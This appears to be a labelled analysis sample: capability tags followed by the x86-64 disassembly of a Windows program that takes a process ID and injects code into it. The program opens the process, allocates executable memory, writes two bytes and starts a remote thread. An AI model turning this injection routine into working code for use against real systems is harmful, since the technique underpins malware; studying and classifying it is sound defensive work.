Function at 0x140011285
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400118c0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1c8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400240a2]
call fcn.140011389
cmp dword [rbp + 0x180], 2
je 0x14001193f
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x188]
mov rdx, qword [rcx + rax]
lea rcx, str.____Please_provide_a_pid_with_.__s__PID__n_n
call fcn.14001119f
mov eax, 1
jmp 0x140011aef
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x188]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [rbp + 4], eax
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
movzx eax, word [0x14001ac10]
mov word [rbp + 0x84], ax
mov edx, dword [rbp + 4]
lea rcx, str.___Get_handle_to_process_with_pid__ld_n_n
call fcn.14001119f
mov r8d, dword [rbp + 4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400119cf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rbp + 4]
lea rcx, str.____Couldnt_get_a_handle_to_process__ld._Error:__ld_n_n
call fcn.14001119f
mov eax, 1
jmp 0x140011aef
lea rcx, str.___Allocating_memory_in_process_n
call fcn.14001119f
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 2
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x68], rax
mov edx, 2
lea rcx, str.___Allocated__d_bytes_into_memory_n_n
call fcn.14001119f
lea rcx, str.___Attempting_to_write_process_memory_n_n
call fcn.14001119f
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, [rbp + 0x84]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.___Successfully_written_memory_to_process_n
call fcn.14001119f
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [rbp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp qword [rbp + 0x48], 0
jne 0x140011ac1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_get_a_handle_to_thread._Error:__ld_n_n
call fcn.14001119f
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140011aef
lea rcx, str.___Cleaning_up_threads_n
call fcn.14001119f
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Bye_Bye__n
call fcn.14001119f
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ac80]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret